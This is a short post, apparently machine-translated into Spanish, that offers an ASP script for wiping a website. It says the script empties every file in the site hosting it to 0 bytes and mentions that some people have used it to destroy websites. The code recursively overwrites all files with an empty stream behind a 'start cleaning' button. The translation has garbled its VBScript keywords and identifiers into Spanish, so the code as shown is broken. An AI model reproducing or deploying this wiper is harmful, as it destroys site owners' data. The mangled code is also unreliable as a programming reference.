Función: Puede borrar todos los archivos del sitio web donde se encuentra este archivo y borrar el contenido del archivo a cero. Una vez completada la operación, el tamaño de todos los archivos pasará a ser 0 bytes.
Este código es mi propia creación original. Marque la reimpresión de lamking.com. Gracias por su cooperación. Además, el programa se puede ampliar.
Algunas personas lo han usado para destruir algunos sitios web.
<
%
Servidor.ScriptTimeout=99999
Si Solicitud ("Enviar") <> "" Entonces
Llame a ListFile(Server.mappath("./"))
Response.write "Limpieza completada"
Demás
Response.write"<formulario><tipo de entrada=""enviar"" nombre=""Enviar"" valor=""Iniciar limpieza""></formulario>"
Terminar si
Función ListaArchivo(fpath)
En caso de error Continuar siguiente
Shell oscuro, carpetas
Establecer Shell =Server.CreateObject ("Shell.Application")
Establecer carpeta =Shell.Namespace(fpath)
Establecer f=Server.CreateObject("Adodb.Stream")
f.Tipo=1
f.Abierto
Para cada correo electrónico en Folder.Items
SI en la carpeta Entonces
Llamar a ListFile(s.path)
Demás
f.SaveToFile s.ruta,2
terminar si
Próximo
Establecer f=Nada
Establecer Shell = nada
Función final
%>